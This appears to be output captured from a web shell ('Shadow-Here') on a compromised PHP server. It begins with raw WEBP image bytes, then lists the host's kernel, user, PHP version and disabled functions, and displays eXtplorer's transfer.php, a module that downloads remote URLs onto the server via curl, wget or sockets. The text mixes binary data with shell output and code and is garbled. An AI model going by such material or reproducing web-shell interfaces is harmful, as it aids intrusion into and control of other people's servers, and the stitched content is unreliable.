....................................../////.===Shadow-Here===./////................................................ > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < ------------------------------------------------------------------------------------------------------------------- /////////////////////////////////////////////////////////////////////////////////////////////////////////////////// RIFF¤ WEBPVP8 ˜ ðÑ *ôô>‘HŸK¥¤"§£±¨àð enü¹%½_F‘åè¿2ºQú³íªú`N¿­3ÿƒügµJžaÿ¯ÿ°~¼ÎùnúîÞÖô•òíôÁÉß®Sm¥Ü/ ‡ó˜f£Ùà<˜„xëJ¢Ù€SO3x<ªÔ©4¿+ç¶A`q@Ì“Úñè™ÍÿJÌ´ª-˜ÆtÊÛL]Ïq*‘Ý”ì#ŸÌÏãY]@ê`¿ /ªfkØB4·®£ó z—Üw¥Pxù–ÞLШKÇN¾AkÙTf½è'‰g gÆv›Øuh~ a˜Z— ïj*á¥t d£“uÒ ¨`K˜¹ßþ]b>˜]_ÏÔ6W—è2r4x•íÖ…"ƒÖNîä!¦å Ú}ýxGøÌ —@ ;ÆÚŠ=ɾ1ý8lªË¥ô ^yf®Œ¢u&2©nÙÇ›ñÂñŒ³ aPo['½»øFùà­+4ê“$!lövlüÞ=;N®3ð‚õ›DÉKòÞ>ÄÍ ¥ˆuߤ#ˆ$6ù™¥îŠ‡y’ÍB¼ çxÛ;X"WL£R÷͝*ó-¶Zu}º.s¸sšXqù–DþÿvªhüïwyŸ ¯é³lÀ:KCûÄ£Ëá\…­ ~—ýóî ¼ûûÜTÓüÇy…ŽÆvc»¾×U ñ¸žþоP÷¦ó:Ò¨¨5;Ð#&#ÖúñläÿÁœ GxÉ­/ñ‡áQðìYÉtÒwŽ¼GÔ´zàÒò ð*ëzƒ•4~H]Ø‹f ñÓÈñ`NåWçs'ÆÏW^ø¹!XžµmQ5ÃËoLœÎ: ÞËÍ¥J ù…î èo£ßPÎñ¶ž8.Œ]ʵ~5›ÙË-ù*8ÙÖß±~ ©¹rÓê‚j¶d¸{^Q'˜±Crß ÚH—#¥¥QlÀ×ëã‡DÜ«èî þ&Çæžî;ŽÏºò6ÒLÃXy&ZŒ'j‚¢Ù€IßÚù+–MGi‰*jE€‘JcÜ ÓÌ EÏÚj]o˜ Þr <¾U ûŪæÍ/šÝH¥˜b”¼ ÁñßX GP›ï2›4WŠÏà×£…íÓk†¦H·ÅíMh–*nó÷à]ÁjCº€b7<ب‹¨5車bp2:Á[UªM„QŒçiNMa#<5›áËó¸HýÊ"…×Éw¹¦ì2º–x<›»a±¸3Weü®FÝ⑱ö–î–³|LPÈ~çð~Çå‡|º kD¢µÏàÆAI %1À% ¹Ò – ”ϝS¦‰4&¶£°à Öý”û_Ò Áw°A«Å€?mÇÛgHÉ/8)á¾ÛìáöŽP í¨PŸNÙµº¦‡§Ùš"ÿ«>+ªÕ`Ê÷‡‚ß Õû˜þãÇ-PÍ.¾XV‘€ dÜ"þ4¹ ±Oú‘©t¥¦FªÄÃÄ•b‚znýu½—#cDs˜ÃiÑOˆñ×QO=*IAÊ,¶ŽZƒ;‡wøXè%EÐk:F±Ú” .Ѽ+Áu&Ç`."pÈÉw o&¿dE6‘’EqTuK@Ì¥ã™À(Êk(h‰,H}RÀIXÛš3µ1©_OqÚÒJAñ$ÊÙÜ;D3çŒ[þùœh¬Ã³™ö6ç†NY".Ú‰ï[ªŸŒ '²Ð öø_¨ÂÉ9u鶳ÒŠõTàîMØ#û¯gN‡bÙ놚X„ö …ÉeüÌ^J ‹€.œ$Æ)βÄeæW#óüßĺŸ€ ÀzwV 9oä»f4V*uB «Ë†¹ì¯žR霓æHXa=&“I4K;¯ç‹h×·"UŠ~<•â•ªVêª&ÍSÃÆÅ?ÔqÎ*mTM ˜›µwêd#[C¡©§‘D<©àb†–ÁœøvH/,í:¯( ²£|4-„Æövv„Yͼ™^Á$ˆ„¢Û[6yB.åH*V¨æ?$=˜Ñ€•î¦ñ·­(VlŸ‘ nÀt8W÷´Bûba?q9ú¶Xƒl«ÿ\ù¶’þòUÐj/õ¢Ìµ³g$ƒÎR!¸»|Oߍë’BhîÚÑ¢ñåŒJ„®„£2Ð3•ô02Nt…!£Í]Ïc½Qÿ?ˆ<&ÃA¾Ú,JˆijÌ#5yz„‰Î|ÊŽ5QÏ:‹ÐaóVÔxW—CpeÏzÐïíçôÿÅ_[hãsÐ_/ŽTÝ?BîˆííV$<¿i>²F¬_Eß¿ †bÊŒº­ÿ®Z H“C}”¬,Mp ý/Bá£w>˜YV°aƒúh+cŠ- r/[%|üUMHäQ°X»|û/@|°¥Ð !BÔ Ç¢Ä©š+Õì D«7ìN¶ŽðÔ " ƶ’ÖçtA‰Û×}{tþz­¾GÍ›k¹OEJR$ Â׃ «ëÁ"oÉôž$oUK(Ä)Ãz³Ê-‹êN[Ò3Œñbï8P 4ƒ×q¢bo|?<ÛX¬òÄÍ°L–±›(™ûG?ýË©ÚÄ–ÂDØÐ_Ç¡ô ¾–ÄÏø ×e8Ë©$ÄF¹Å‹ì[©óìl:F¾f´‹‹Xì²ï®\¬ôùƒ ÿat¥óèÒùHß0äe‚;ü×h:ÆWðHž=Ã8骣"kœ'Y?³}Tûè€>?0l›e1Lòñ„aæKÆw…hÖŠùW…ÈÆÄ0ši·›[pcwËþñiêíY/~-Á5˜!¿†A›™Mÿþ(±“t@â“ö2­´TG5yé]çå僳 .·ÍïçÝ7UÚ±Ð/Nè»,_Ï ùdj7\ï Wì4›„»c¸àešg#ÒÊ⥭áØo5‘?ÌdÝô¯ ¹kzsƒ=´#ëÉK›Ø´±-¥eW?‡çßtòTã…$Ý+qÿ±ƒ÷_3Ô¥í÷:æ–ž<·Ö‡‰Å¢ š‡%Ô—utÌÈìðžgÖÀz²À—ï÷Óîäõ{K'´È÷³yaÏÁjƒô}ž§®æÊydÕÈë5¯èˆõvÕ©ã*çD„ “z„Ó‡^^xÂ3M§A´JG‚öï 3W'ˆ.OvXè¡ÊÕª?5º7†˜(˜Ç¶#çê’¶!ÌdZK§æ 0fãaN]òY³RV ™î$®K2R¨`W!1Ôó\;Ý ýB%qæK•&ÓÈe9È0êI±žeŸß -ú@žQr¦ ö4»M¼Áè¹µmw 9 EÆE_°2ó„ŸXKWÁ×Hóì^´²GѝF©óäR†¦‰ç"V»eØ<3ùd3ÿÚ¤Žú“Gi" —‘_ÙËÎ~Üö¯¥½Î»üŸEÚŽåmÞþí ;ÞólËΦMzA"Âf(´òá;Éï(/7½ûñÌ­cïÕçлþÝz¾-ÍvÑ“pH­–ðÓj$¸Äû¤‚‘ãUBË-n“2åPkS5&‹Â|+g^œ®Ì͆d!OïäîU«c;{Û!ÅŽ«ëZ9Ókóˆ]¯ƒ›né `ÇÒ+tÆš (ØKá¾—=3œ®•vuMñg²\ï Ec€ 05±d™‡×iÇ×›UúvÌ¢£Èþ¡ÕØô¶ßÎA"ß±#Ö²ˆÊŸ¦*Ä~ij|àø.-¼'»Ú¥£h ofº¦‡VsR=N½„Î v˜Z*SÌ{=jÑB‹tê…;’HžH¯8–îDù8ñ¢|Q•bÛçš–‹m³“ê¨ åÏ^m¬Žãþ©ïêO‡½6] µÆ„Ooòü ²x}N¦Ë3ïé¿»€›HA˜m%çÞ/¿í7Fø“‹léUk)É°Œµ8Q8›:ÀŠeT*šõ~ôڝG6 ¢}`ùH­–”¡k ‰P1>š†®9z11!X wKfmÁ¦xÑ,N1Q”–æB¶M…ÒÃv6SMˆhU¬ÊPŽï‘öj=·CŒ¯u¹ƒVIЃsx4’ömÛýc塶7ßŠß 57^\wÒÐÆ k§h,Œý î«q^R½3]J¸ÇðN ‚çU¬ôº^Áì} ³f©Õœ§ˆã:FÄÈ‚é(€™?àýÓüè1Gô£¼éj‚OÅñ  #>×—ßtà 0G¥Åa뀐kßhc™À_ÉñÞ#±)GD" YîäË-ÿÙ̪ ¹™a¯´¢E\ÝÒö‚;™„ë]_ p8‰o¡ñ+^÷ 3‘'dT4œŽ ðVë½° :¬víÑ«£tßÚS-3¶“þ2 †üüʨòrš¹M{É_¤`Û¨0ìjœøJ‡:÷ÃáZ˜†@GP&œÑDGÏs¡þ¦þDGú‘1Yá9Ôþ¼ ûø…§÷8&–ÜÑnÄ_m®^üÆ`;ÉVÁJ£?â€-ßê}suÍ2sõA NÌúA磸‘îÿÚ»ƒìö·á¿±tÑÐ"Tÿü˜[@/äj¬€uüªìù¥Ý˜á8Ý´sõj 8@rˆð äþZÇD®ÿUÏ2ùôõrBzÆÏÞž>Ì™xœ“ wiÎ×7_… ¸ \#€MɁV¶¥üÕÿPÔ9Z‡ø§É8#H:ƒ5ÀÝå9ÍIŒ5åKÙŠ÷qÄ>1AÈøžj"µÂд/ªnÀ qªã}"iŸBå˜ÓÛŽ¦…&ݧ;G@—³b¯“•"´4í¨ôM¨åñC‹ïùÉó¯ÓsSH2Ý@ßáM‡ˆKÀªÛUeø/4\gnm¥‹ŸŒ qÄ b9ÞwÒNÏ_4Ég³ú=܆‚´ •â¥õeíþkjz>éÚyU«Íӝ݃6"8/ø{=Ô¢»G¥ äUw°W«,ô—¿ãㆅү¢³xŠUû™yŒ (øSópÐ 9\åTâ»—*oG$/×ÍT†Y¿1¤Þ¢_‡ ¼ „±ÍçèSaÓ 3ÛMÁBkxs‰’R/¡¤ˆÙçª(*õ„üXÌ´ƒ E§´¬EF"Ù”R/ÐNyÆÂ^°?™6¡œïJ·±$§?º>ÖüœcNÌù¯G ‹ñ2ŠBB„^·úìaz¨k:#¨Æ¨8LÎõލ£^§S&cŒÐU€ü(‡F±Š¼&P>8ÙÁ ‰ p5?0ÊƃZl¸aô š¼¡}gÿ¶zÆC²¹¬ÎÖG*HB¡O<º2#ñŒAƒ–¡B˜´É$¥›É:FÀÔx¾u?XÜÏÓvN©RS{2ʈãk9rmP¼Qq̳ è¼ÐFׄ^¡Öì fE“F4A…!ì/…¦Lƒ… … $%´¾yã@CI¬ á—3PþBÏNÿ<ý°4Ü ËÃ#ØÍ~âW«rEñw‹eùMMHß²`¬Öó½íf³:‹k˜¯÷}Z!ã¿<¥,\#öµÀ¯aÒNÆIé,Ћ–lŽ#Àæ9ÀÒS·I’½-Ïp Äz¤Š Â* ­íÄ9­< h>׍3ZkËU¹§˜ŒŠ±f­’¤º³Q ÏB?‹#µíÃ¥®@(Gs«†vI¥Mµ‹Á©e~2ú³ÁP4ìÕi‚²Ê^ö@-DþÓàlÜOÍ]n"µã:žpsŽ¢:! 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System : Linux server3 5.10.0-35-amd64 #1 SMP Debian 5.10.237-1 (2025-05-19) x86_64
User : web032 ( 1035)
PHP Version : 7.3.33
Disable Function : show_source, highlight_file, apache_child_terminate, apache_get_modules, apache_note, apache_setenv, virtual, dl, disk_total_space, posix_getpwnam, posix_getpwuid, posix_mkfifo, posix_mknod, posix_setpgid, posix_setsid, posix_setuid, posix_uname, proc_nice, openlog, syslog, pfsockopen
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Directory :  /var/www/web032/htdocs/cms/administrator/components/com_extplorer/include/

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Current File : /var/www/web032/htdocs/cms/administrator/components/com_extplorer/include/transfer.php
<?php
// ensure this file is being included by a parent file
if( !defined( '_JEXEC' ) && !defined( '_VALID_MOS' ) ) die( 'Restricted access' );
/**
 * @version $Id: transfer.php 242 2015-08-19 06:29:26Z soeren $
 * @package eXtplorer
 * @copyright soeren 2007-2015
 * @author The eXtplorer project (http://extplorer.net)
 * @license
 * The contents of this file are subject to the Mozilla Public License
 * Version 1.1 (the "License"); you may not use this file except in
 * compliance with the License. You may obtain a copy of the License at
 * http://www.mozilla.org/MPL/
 * 
 * Software distributed under the License is distributed on an "AS IS"
 * basis, WITHOUT WARRANTY OF ANY KIND, either express or implied. See the
 * License for the specific language governing rights and limitations
 * under the License.
 * 
 * Alternatively, the contents of this file may be used under the terms
 * of the GNU General Public License Version 2 or later (the "GPL"), in
 * which case the provisions of the GPL are applicable instead of
 * those above. If you wish to allow use of your version of this file only
 * under the terms of the GPL and not to allow others to use
 * your version of this file under the MPL, indicate your decision by
 * deleting  the provisions above and replace  them with the notice and
 * other provisions required by the GPL.  If you do not delete
 * the provisions above, a recipient may use your version of this file
 * under either the MPL or the GPL."
 * 
*/
/**
 * Transfer file(s) from another server to this one
 *
 */

class ext_Transfer extends ext_Action {
	static $_downloadMethods = array(
			new CurlDownloader(),
			new WgetDownloader(),
			new FopenDownloader(),
			new FsockopenDownloader()
		);

	static function execAction( $dir, $item="" ) {

		if(($GLOBALS["permissions"]&01)!=01) {
			ext_Result::sendResult('upload', false, $GLOBALS["error_msg"]["accessfunc"]);
		}
		
		//DEBUG ext_Result::sendResult('transfer', false, $dir );
		// Execute
		if(isset($GLOBALS['__POST']["confirm"]) && $GLOBALS['__POST']["confirm"]=="true") {
            // CSRF Security Check
            if( !ext_checkToken($GLOBALS['__POST']["token"]) ) {
                ext_Result::sendResult('tokencheck', false, 'Request failed: Security Token not valid.');
            }
			$cnt=count($GLOBALS['__POST']['userfile']);
			$err=false;
			foreach(self::$_downloadMethods as $method ) {
				if( $method->isSupported()) {
					$downloader =& $method;
					break;
				}
			}
			// upload files & check for errors
			for($i=0;$i<$cnt;$i++) {
			    if( empty($GLOBALS['__POST']['userfile'][$i])) continue;
				$errors[$i]=NULL;

                $data = array(
                    'url' => $GLOBALS['__POST']['userfile'][$i]
                );

                $validated = InputFilter::is_valid($data, array(
                    'url' => 'required|valid_url'
                ));

                if($validated !== true) {
                    $errors[$i]=$GLOBALS['__POST']['userfile'][$i].' is not a valid URL!';
                    $err=true;	continue;
                }
				$items[$i] = stripslashes(basename($GLOBALS['__POST']['userfile'][$i]));

				$abs = get_abs_item($dir,$items[$i]);

				if($items[$i]=="") continue;
				if(@file_exists($abs) && empty( $_REQUEST['overwrite_files'])) {
					$errors[$i]=$GLOBALS["error_msg"]["itemdoesexist"];
					$err=true;	continue;
				}
				// Upload
				$ok = $downloader->download($GLOBALS['__POST']['userfile'][$i], $abs);
				if($ok===true ) {
					$mode = ext_isFTPMode() ? 644 : 0644;
					@$GLOBALS['ext_File']->chmod( $abs, $mode );
				}
				else {
					$errors[$i]=$ok;
					$err=true;	continue;
				}
			}

			if($err) {			// there were errors
				$err_msg="";
				for($i=0;$i<$cnt;$i++) {
					if($errors[$i]==NULL) continue;
					$err_msg .= $items[$i]." : ".$errors[$i]."\n";
				}
				ext_Result::sendResult('transfer', false, $err_msg);
			}

			ext_Result::sendResult('transfer', true, ext_Lang::msg('transfer_completed'));
			return;
		}
	}
}
/**
 * Abstract DownloadMethod Class for implementing special types
 * @abstract 
 *
 */
class DownloadMethod {
	function download($url, $outputFile) {
		return false;
	}

	function isSupported() {
		return false;
	}

	function getName() {
		return '';
	}
}

class WgetDownloader extends DownloadMethod {
	function download($url, $outputFile) {
		$status = 0;
		$output = array();
		$wget = getBinaryPath('wget');
		$url = escapeshellcmd( $url );
		exec("$wget -O$outputFile $url ", $output, $status);
		if ($status) {
			$msg = 'exec returned an error status ';
			$msg .= is_array($output) ? implode('<br>', $output) : '';
			return $msg;
		}
		return true;
	}

	function isSupported() {
		return isBinaryAvailable('wget');
	}

	function getName() {
		return 'Download with Wget';
	}
}

class FopenDownloader extends DownloadMethod {
	function download($url, $outputFile) {
		if (!is_writable( dirname( $outputFile ))) {
			return 'Unable to write to current working directory';
		}
		$start =time();

		@set_time_limit( 900 );

		$fh = @fopen($url, 'rb');
		if (empty($fh)) {
			return 'Unable to open url';
		}
		$ofh = @fopen($outputFile, 'wb');
		if (!$ofh) {
			fclose($fh);
			return 'Unable to open output file in writing mode';
		}

		$failed = $results = false;
		while (!feof($fh) && !$failed) {
			$buf = fread($fh, 4096);
			if (!$buf) {
				$results = 'Error during download';
				$failed = true;
				break;
			}
			if (fwrite($ofh, $buf) != strlen($buf)) {
				$failed = true;
				$results = 'Error during writing';
				break;
			}
			if (time() - $start > 55) {

				$start = time();
			}
		}
		fclose($ofh);
		fclose($fh);
		if ($failed) {
			return $results;
		}

		return true;
	}

	function isSupported() {
		$actual = ini_get('allow_url_fopen');
		if (in_array($actual, array(1, 'On', 'on')) && isPhpFunctionSupported('fopen')) {
			return true;
		}

		return false;
	}

	function getName() {
		return 'Download with PHP fopen()';
	}
}

class FsockopenDownloader extends DownloadMethod {
	function download($url, $outputFile, $maxRedirects=10) {
		/* Code from WebHelper_simple.class */

		if ($maxRedirects < 0) {
			return "Error too many redirects. Last URL: $url";
		}

		$components = parse_url($url);
		$port = empty($components['port']) ? 80 : $components['port'];

		$errno = $errstr = null;
		$fd = @fsockopen($components['host'], $port, $errno, $errstr, 2);
		if (empty($fd)) {
			return "Error $errno: '$errstr' retrieving $url";
		}

		$get = $components['path'];
		if (!empty($components['query'])) {
			$get .= '?' . $components['query'];
		}

		$start = time();

		/* Read the web file into a buffer */
		$ok = fwrite($fd, sprintf("GET %s HTTP/1.0\r\n" .
		"Host: %s\r\n" .
		"\r\n",
		$get,
		$components['host']));
		if (!$ok) {
			return 'Download request failed (fwrite)';
		}
		$ok = fflush($fd);
		if (!$ok) {
			return 'Download request failed (fflush)';
		}

		/*
		* Read the response code. fgets stops after newlines.
		* The first line contains only the status code (200, 404, etc.).
		*/
		$headers = array();
		$response = trim(fgets($fd, 4096));

		/* Jump over the headers but follow redirects */
		while (!feof($fd)) {
			$line = trim(fgets($fd, 4096));
			if (empty($line)) {
				break;
			}

			/* Normalize the line endings */
			$line = str_replace("\r", '', $line);
			list ($key, $value) = explode(':', $line, 2);
			if (trim($key) == 'Location') {
				fclose($fd);
				return $this->download(trim($value), $outputFile, --$maxRedirects);
			}
		}

		$success = false;
		$ofd = fopen($outputFile, 'wb');
		if ($ofd) {
			/* Read the body */
			$failed = false;
			while (!feof($fd) && !$failed) {
				$buf = fread($fd, 4096);
				if (fwrite($ofd, $buf) != strlen($buf)) {
					$failed = true;
					break;
				}
				if (time() - $start > 55) {
					set_time_limit(600);
					$start = time();
				}
			}
			fclose($ofd);
			if (!$failed) {
				$success = true;
			}
		} else {
			return "Could not open $outputFile in write mode";
		}
		fclose($fd);

		/* if the HTTP response code did not begin with a 2 this request was not successful */
		if (!preg_match("/^HTTP\/\d+\.\d+\s2\d{2}/", $response)) {
			return "Download failed with HTTP status: $response";
		}

		return true;
	}

	function isSupported() {
		return isPhpFunctionSupported('fsockopen');
	}

	function getName() {
		return 'Download with PHP fsockopen()';
	}
}

class CurlDownloader extends DownloadMethod {
	function download($url, $outputFile) {
		$ch = curl_init();
		$ofh = fopen($outputFile, 'wb');
		if (!$ofh) {
			fclose($ch);
			return 'Unable to open output file in writing mode';
		}

		curl_setopt($ch, CURLOPT_URL, $url);
		curl_setopt($ch, CURLOPT_FILE, $ofh);
		curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 10);
		curl_setopt($ch, CURLOPT_FAILONERROR, true);
		curl_setopt($ch, CURLOPT_HEADER, false);
		curl_setopt($ch, CURLOPT_TIMEOUT, 60);
		curl_setopt($ch, CURLOPT_MAXREDIRS, 10);
		curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);

		curl_exec($ch);

		$errorString = curl_error($ch);
		$errorNumber = curl_errno($ch);
		curl_close($ch);

		if ($errorNumber != 0) {
			if (!empty($errorString)) {
				return $errorString;
			} else {
				return 'CURL download failed';
			}
		}

		return true;
	}

	function isSupported() {
		foreach (array('curl_init', 'curl_setopt', 'curl_exec', 'curl_close', 'curl_error') as $functionName) {
			if (!isPhpFunctionSupported($functionName)) {
				return false;
			}
		}
		if( ini_get('open_basedir') != '' || strtolower(ini_get('safe_mode')) == 'on') {
			return false;
		}
		return true;
	}

	function getName() {
		return 'Download with PHP cURL()';
	}
}
function isPhpFunctionSupported($functionName) {
	if (in_array($functionName, explode(',\s*', ini_get('disable_functions'))) || !function_exists($functionName)) {
		return false;
	} else {
		return true;
	}
}
/* Check if a specific command line tool is available */
function isBinaryAvailable($binaryName) {
	$binaryPath = getBinaryPath($binaryName);
	return !empty($binaryPath);
}

/* Return the path to a binary or false if it's not available */
function getBinaryPath($binaryName) {
	if (!isPhpFunctionSupported('exec')) {
		return false;
	}

	/* First try 'which' */
	$ret = array();
	exec('which ' . $binaryName, $ret);
	if (strpos(join(' ',$ret), $binaryName) !== false && @is_executable(join('',$ret))) {
		return $binaryName; // it's in the path
	}

	/* Try a bunch of likely seeming paths to see if any of them work. */
	$paths = array();
	if (!strncasecmp(PHP_OS, 'win', 3)) {
		$separator = ';';
		$slash = "\\";
		$extension = '.exe';
		$paths[] = "C:\\Program Files\\$binaryName\\";
		$paths[] = "C:\\apps\$binaryName\\";
		$paths[] = "C:\\$binaryName\\";
	} else {
		$separator = ':';
		$slash = "/";
		$extension = '';
		$paths[] = '/usr/bin/';
		$paths[] = '/usr/local/bin/';
		$paths[] = '/bin/';
		$paths[] = '/sw/bin/';
	}
	$paths[] = './';

	foreach (explode($separator, getenv('PATH')) as $path) {
		$path = trim($path);
		if (empty($path)) {
			continue;
		}
		if ($path{strlen($path)-1} != $slash) {
			$path .= $slash;
		}
		$paths[] = $path;
	}

	/* Now try each path in turn to see which ones work */
	foreach ($paths as $path) {
		$execPath = $path . $binaryName . $extension;
		if (@file_exists($execPath) && @is_executable($execPath)) {
			/* We have a winner */
			return $execPath;
		}
	}

	return false;
}
?>

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